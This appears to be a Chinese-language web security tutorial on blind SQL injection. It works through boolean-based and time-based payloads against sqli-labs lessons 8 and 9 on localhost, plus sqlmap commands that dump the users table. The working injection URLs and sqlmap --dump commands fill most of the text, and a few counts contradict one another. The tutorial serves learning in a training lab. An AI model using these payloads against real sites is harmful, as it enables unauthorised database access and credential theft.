3. web安全之sql注入(3)


            sql注入之盲注

  • 目录

  • 盲注原理

  • 布尔盲注

  • 时间盲注

  • sqlmap盲注


一. 盲注原理


1. 盲注应用场景

盲注常用于与数据库交互无详细回显的地方;布尔盲注根据页面返回值的正常/不正常(对/错)进行注入;时间盲注根据延时函数sleep的延时时间进行注入;

2. 盲注语句解析

布尔盲注常用语句:select id,username,password from users where id='1' and length(database())=8

这里重要的and ;由于and如果为真;则需要左右为真。所以当右边length(database())=x成立时,就会回显正常的页面,当右 边length(database())=x不成立时,就会返回错误的页面;布尔盲注就是根据对/错进行盲注

3. 盲注源码解析

查看sqli-labs-master第八关源码

 mysql_quert函数:执行一条mysql查询

 mysql_fetch_array函数:从结果集中取得一行作为关联数组,或数字数组

可以看到其中主要就是传入一个get变量$id,然后再执行一条sql语句:"SELECT * FROM users WHERE id='$id' LIMIT 0,1"

然后再进行if判断;如果sql语句存在回显则输出You are in... ...;如果不存在回显则输出  ;也就是sql语句正确则输出You are in... ...;sql语句错误则什么都不输出;

4. 盲注常用函数

length()        查询指定字符串字符数

ascii()           将指定字符转化为ascii码

mid(data,start,leng)   截取指定长度的字符串

sleep()          延时时间输出

count()          查询数目(个数) 

if()            条件判断语句

二. 布尔盲注

靶机:sqli-labs-master第八关


1. 查询注入点

?id=1' and 1=1-- -    正确;?id=1' and 1=2-- -    错误

 2. 查询数据库

(1)查询数据库名字符数

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and length(database())=8-- -

查询出来字符数为8

 (2)查询数据库名第一个字符

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and ascii(mid(database(),1,1))=115-- -

 根据ascii码进行对比得出第一个字符为s

ascii对照表——ASCII码一览表,ASCII码对照表 (biancheng.net)

 后面的直接使用burp爆破就可以了

burp爆破步骤:

1)设置代理;拦截数据包

 2)转发进intruder(快捷键Ctrl+l)

 3)设置爆破位置(变量)

 4)选择payloads进行配置字典

第一个参数

 第二个参数

 5)进行爆破;挑选出寻在回显的参数;

 根据位置和ascii数值,很容易得出数据库名为security

3. 查询数据表

(1)查询数据表数目

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and (select count(table_name) from information_schema.tables where 
table_schema='security')=4-- -

得到security数据库下属表个数为5

 (2)查询第一个表字符数

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and (select length(table_name) from information_schema.tables where 
table_schema='security' limit 0,1)=6-- -

得出第一个表字符数为6

(3) 查询第一个表的第一个字符

 其余字符类似改变mid函数起始位;其余表类似改变limit函数起始位;得出存在users表

4. 查询字段

(1)查询users表字段数目

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and (select count(column_name) from information_schema.columns where 
table_name='users' and table_schema='security')=3-- -

查询得到users表下面有3个字段

 (2) 查询第一个字段的字符数

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and (select length(column_name) from information_schema.columns 
where table_name='users' and table_schema='security' limit 0,1)=2-- -

可以得出第一个字段字段数为2  

 (3)查询第一个字段的第一个字符

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and (select ascii(mid((column_name),1,1)) from information_schema.columns where table_name='users' and table_schema='security' limit 0,1)=105-- -

得出第一个字段的第一个字符为 i

 同理;可得第二个字符为d;第二个表为username;第三个表为password

5. 查询数据

(1)查询数据字符数

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and (select length(concat(id,0x7e,username,0x7e,password)) from users limit 0,1)=11-- -

得到第一个(id~username~password)的字符数为11

 (2)查询数据字符

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and (select ascii(mid((concat(id,0x7e,username,0x7e,password)),1,1)) from users 
limit 0,1)=49-- -

 得到第一个字符数为1

 其余依旧上面的例子可以得出所有数据

3. 时间盲注

靶机:sqli-labs-master第九关

时间盲注和布尔盲注的唯一区别:布尔盲注根据回显判断对错;时间盲注根据时间延时判断对错

1. 查询注入点

发现mysql有个特性:

 只要如果查询为数字,主要第一个数字和数据库匹配;且后面不加数字;其余任何字符无影响(只对于数字索引)

发现第九题无论输入何值,都返回固定的数值;所以布尔盲注不能使用;只能使用延时盲注判断注入点

 ?id=1' and if(1=1,sleep(0),sleep(5))-- - 时,延时较短2s;?id=1' and if(1=2,sleep(0),sleep(5))-- - 时,延时较长7s

存在注入点,且闭合符号‘

 2. 查询数据库

(1)查询数据库字符数

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if((select length(database()))=8,sleep(5),sleep(0))-- -

当等于8时延时较长;所以数据库字符数为8

 (2)查询数据库第一个字符

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if((select ascii(mid(database(),1,1)))=115,sleep(5),sleep(0))-- -

 当第一个字符ascii码为115时,延时较长;所以数据库第一个字符为s

 之后同理,改变mid函数起始位的位置,可以得出数据库名为security

3. 查询表

(1)查询security下表个数

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if((select count(table_name) from information_schema.tables where 
table_schema='security')=4,sleep(5),sleep(0))-- -

当表格数为4时延时较长;所以security数据库下有4个表

(2)查询第一个表字符数

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if((select length(table_name) from information_schema.tables where 
table_schema='security' limit 0,1)=6,sleep(5),sleep(0))-- -

当字符数为6时,延时较长,所以第一个表字符数为6

 

(3)查询第一表第一个字符

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if((select ascii(mid((table_name),1,1)) from information_schema.tables 
where table_schema='security' limit 0,1)=101,sleep(5),sleep(0))-- -

当第一个数ascii码为101时,延时较长;所以第一个表第一个字符为e

 安装上面的格式查,可以查到4个表中有一个users的表

4. 查询字段

(1)查询users表下面的字段数目

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if((select count(column_name) from information_schema.columns where 
table_name='users' and table_schema='security')=3,sleep(5),sleep(0))-- -

查询出users表下面存在5个字段

(2)查询users表第一个字段字符数

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if((select length(column_name) from information_schema.columns 
where table_name='users' and table_schema='security' limit 0,1)=2,sleep(5),sleep(0))-- -

第一个字段字符数为2

(3)查询第一个字段的第一个字符

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if((select ascii(mid(column_name,1,1)) from information_schema.columns 
where table_name='users' and table_schema='security' limit 0,1)=105,sleep(5),sleep(0))-- -

第一个字段的第一个字符为i 

 依旧上面的套路可以得出全部字段:id username password

5. 查询数据

(1)查询第一列数据字符数

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if((select length(concat(id,0x7e,username,0x7e,password)) from users 
limit 0,1)=11,sleep(5),sleep(0))-- -

说明第一列的id~username~password组合为11个字符

 查询第一列的第一个字符

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if((select ascii(mid(concat(id,0x7e,username,0x7e,password),1,1)) from users 
limit 0,1)=49,sleep(5),sleep(0))-- -

 得出第一列第一个字符为1

 依次可得出第一列的全部字符为: 1~Dumb~Dumb

sqlmap工具盲注


1. sqlmap常用参数

-u      指定url

-p      指定注入参数

-D      指定数据库名

-T      指定表名

-C      指定列名

--dbs       查询所有数据库名

--current-db  查询当前数据库名

--tables    查询所有表

--columns   查询所有列

--batch     自动化默认操作

-r       指定路径          burp抓到的包指定路径(适合post;有cookie;免验证)

--forms      自动识别post表单参数    适合无登录的url,或手动添加cookie

--cookie    指定cookie

--technique Q   指定注入方式为内联查询

--technique B   指定注入方式为布尔盲注

--technique T    指定注入方式为时间盲注

--technique U    指定注入方式为联合查询

2. sqlmap布尔盲注

靶机:sqli-labs-master 第8关

攻击机:127.0.0.1

(1)查询是否存在注入点

sqlmap -u "127.0.0.1/sqli-labs-master/Less-8/?id=1" --technique B --batch

 查询得出id是基于布尔的可注入点

 (2)查询当前数据库名

sqlmap -u "127.0.0.1/sqli-labs-master/Less-8/?id=1" --technique B --current-db --batch

 (3)查询表名

sqlmap -u "127.0.0.1/sqli-labs-master/Less-8/?id=1" --technique B -D security --tables --batch


(4)查询字段名

sqlmap -u "127.0.0.1/sqli-labs-master/Less-8/?id=1" --technique B -D security -T users --columns --batch

 (5)查询数据

sqlmap -u "127.0.0.1/sqli-labs-master/Less-8/?id=1" --technique B -D security -T users -C username --dump --batch

3. sqlmap时间盲注

靶机:sqli-labs-master 第九关

时间盲注与布尔盲注相同,不过需要将 --technique B 换为 --technique T

(1)查询是否存在注入点

(2)查询数据库名

(3)查询表名

(4)查询字段名

(5)查询数据

sqlmap -u "127.0.0.1/sqli-labs-master/Less-9/?id=1" --technique T -D security -T users -C username --dump --batch

 注入的太慢不想等了;不过时间足够长是可以注入成功的